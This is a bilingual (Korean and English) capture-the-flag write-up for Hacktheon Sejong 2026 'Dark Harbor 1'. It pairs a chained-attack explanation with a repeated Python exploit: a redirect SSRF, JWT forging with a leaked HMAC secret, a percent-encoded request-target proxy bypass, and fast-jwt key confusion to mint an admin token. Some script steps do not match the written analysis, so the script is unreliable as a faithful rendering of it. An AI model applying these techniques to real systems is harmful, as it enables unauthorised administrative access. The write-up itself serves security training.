Hacktheon Sejong 2026 Quals Dark Harbor 1 Writeup
Hacktheon Sejong 2026 Quals Dark Harbor 1 WriteupHacktheon Sejong 2026 Quals Dark Harbor 1 WriteupHacktheon Sejong 2026 Quals Dark Harbor 1 문제 풀이Hacktheon Sejong 2026 Quals Dark Harbor 1 writeup
Contents
Summary
목표는 api-server가 만드는 internal admin console이다. redirect SSRF로 내부 config와 HMAC_SECRET을 읽고 local JWT와 policy seed를 이어서 만든 뒤 fast-jwt의 key 해석 차이를 이용해 admin policy token을 발급했다.
Analysis
첫 단계는 /build/fetch-artifact의 redirect SSRF였다. 서버는 처음 URL만 검사하고 redirect 이후 목적지는 다시 확인하지 않았다. 공개 redirector를 거쳐 api-server:6000/config를 읽으면 내부 routing 정보와 HMAC_SECRET이 나온다.
이 secret으로 api-server local JWT key를 만든다.
LOCAL_JWT_KEY = HMAC-SHA256(HMAC_SECRET, "darkharbor-local-jwt").hexdigest()이 key로 role=pipeline_admin, iss=darkharbor-local 토큰을 만들면 pipeline admin API를 쓸 수 있다.
다음은 policy seed다. public key PEM을 JUnit report의 첫 번째 failure output에 넣어 업로드하면 policy engine이 그 PEM을 JWKS entry로 가져간다. /internal/policy-seed는 edge proxy에서 막히지만 absolute-form request target과 percent-encoding을 섞으면 우회된다.
request target = http://api-server/%69nternal/policy-seededge proxy는 이를 /internal로 보지 못하고 Fastify는 decode 후 /internal/policy-seed route로 처리한다.
마지막은 fast-jwt의 검증 차이다. policy engine은 seed된 PEM 앞에 audit banner로 개행을 붙인다.
key = "\n" + public_key_pem이 값은 RSA public key로 인식되지 않고 HS256 secret처럼 쓰였다. 같은 값을 HMAC key로 삼아 role=admin policy token을 만들고 request-target 우회로 /internal/admin-console.json을 읽었다.
Exploit
import base64
import hashlib
import hmac
import json
import subprocess
import time
from pathlib import Path
import requests
BASE = "http://15.164.173.78:8080"
WORKSPACE_ID = 559
WORKSPACE_TOKEN = "<workspace_token>"
HMAC_SECRET = "a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA"
KID = "axii-kid-559"
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def hs256(secret: bytes, header: dict, payload: dict) -> str:
signing_input = (
b64url(json.dumps(header, separators=(",", ":")).encode())
+ "."
+ b64url(json.dumps(payload, separators=(",", ":")).encode())
)
sig = b64url(hmac.new(secret, signing_input.encode(), hashlib.sha256).digest())
return signing_input + "." + sig
subprocess.run(["openssl", "genrsa", "-out", "/tmp/dh_rsa.pem", "2048"], check=True)
subprocess.run(["openssl", "rsa", "-in", "/tmp/dh_rsa.pem", "-pubout", "-out", "/tmp/dh_rsa_pub.pem"], check=True)
pub = Path("/tmp/dh_rsa_pub.pem").read_text()
xml = (
'<?xml version="1.0"?>'
'<testsuite name="seed"><testcase name="pem">'
'<failure><![CDATA[' + pub + ']]></failure>'
'</testcase></testsuite>'
)
r = requests.post(
f"{BASE}/api/builds/{WORKSPACE_ID}/test-report",
headers={
"Authorization": f"Bearer {WORKSPACE_TOKEN}",
"Content-Type": "application/xml",
},
data=xml,
)
r.raise_for_status()
report_id = r.json()["report_id"]
r = requests.post(
BASE + "/",
headers={
"Authorization": f"Bearer {WORKSPACE_TOKEN}",
"Content-Type": "application/json",
},
data=json.dumps({
"workspace_id": WORKSPACE_ID,
"report_id": report_id,
"kid": KID,
}),
)
now = int(time.time())
policy_token = hs256(
("\n" + pub).encode(),
{"alg": "HS256", "typ": "JWT", "kid": KID},
{"sub": "axii", "role": "admin", "iat": now, "exp": now + 600},
)
print("Use curl:")
print(
"curl --request-target 'http://api-server/%69nternal/admin-console.json' "
f"'{BASE}/' -H 'X-Policy-Token: {policy_token}'"
)Flag
hacktheon2026{sil3nt_tid3_bre4ch}
Summary
The target is the internal admin console produced by the api-server. Using a redirect SSRF, I read the internal config and HMAC_SECRET, then chained together a local JWT and a policy seed before exploiting a key-interpretation difference in fast-jwt to issue an admin policy token.
Analysis
The first step was a redirect SSRF in /build/fetch-artifact. The server only validated the initial URL and never re-checked the destination after a redirect. Going through a public redirector to read api-server:6000/config reveals the internal routing information and HMAC_SECRET.
With this secret, build the api-server's local JWT key.
LOCAL_JWT_KEY = HMAC-SHA256(HMAC_SECRET, "darkharbor-local-jwt").hexdigest()Minting a role=pipeline_admin, iss=darkharbor-local token with this key gives access to the pipeline admin API.
Next is the policy seed. If you embed a public key PEM in the output of the first failure of a JUnit report and upload it, the policy engine ingests that PEM as a JWKS entry. /internal/policy-seed is blocked at the edge proxy, but mixing an absolute-form request target with percent-encoding bypasses it.
request target = http://api-server/%69nternal/policy-seedThe edge proxy does not see this as /internal, while Fastify decodes it and routes it to /internal/policy-seed.
The last piece is the verification difference in fast-jwt. The policy engine prepends an audit banner newline to the seeded PEM.
key = "\n" + public_key_pemThis value is not recognized as an RSA public key and is instead used like an HS256 secret. Using the same value as the HMAC key, I minted a role=admin policy token and read /internal/admin-console.json via the request-target bypass.
Exploit
import base64
import hashlib
import hmac
import json
import subprocess
import time
from pathlib import Path
import requests
BASE = "http://15.164.173.78:8080"
WORKSPACE_ID = 559
WORKSPACE_TOKEN = "<workspace_token>"
HMAC_SECRET = "a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA"
KID = "axii-kid-559"
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def hs256(secret: bytes, header: dict, payload: dict) -> str:
signing_input = (
b64url(json.dumps(header, separators=(",", ":")).encode())
+ "."
+ b64url(json.dumps(payload, separators=(",", ":")).encode())
)
sig = b64url(hmac.new(secret, signing_input.encode(), hashlib.sha256).digest())
return signing_input + "." + sig
subprocess.run(["openssl", "genrsa", "-out", "/tmp/dh_rsa.pem", "2048"], check=True)
subprocess.run(["openssl", "rsa", "-in", "/tmp/dh_rsa.pem", "-pubout", "-out", "/tmp/dh_rsa_pub.pem"], check=True)
pub = Path("/tmp/dh_rsa_pub.pem").read_text()
xml = (
'<?xml version="1.0"?>'
'<testsuite name="seed"><testcase name="pem">'
'<failure><![CDATA[' + pub + ']]></failure>'
'</testcase></testsuite>'
)
r = requests.post(
f"{BASE}/api/builds/{WORKSPACE_ID}/test-report",
headers={
"Authorization": f"Bearer {WORKSPACE_TOKEN}",
"Content-Type": "application/xml",
},
data=xml,
)
r.raise_for_status()
report_id = r.json()["report_id"]
r = requests.post(
BASE + "/",
headers={
"Authorization": f"Bearer {WORKSPACE_TOKEN}",
"Content-Type": "application/json",
},
data=json.dumps({
"workspace_id": WORKSPACE_ID,
"report_id": report_id,
"kid": KID,
}),
)
now = int(time.time())
policy_token = hs256(
("\n" + pub).encode(),
{"alg": "HS256", "typ": "JWT", "kid": KID},
{"sub": "axii", "role": "admin", "iat": now, "exp": now + 600},
)
print("Use curl:")
print(
"curl --request-target 'http://api-server/%69nternal/admin-console.json' "
f"'{BASE}/' -H 'X-Policy-Token: {policy_token}'"
)Flag
hacktheon2026{sil3nt_tid3_bre4ch}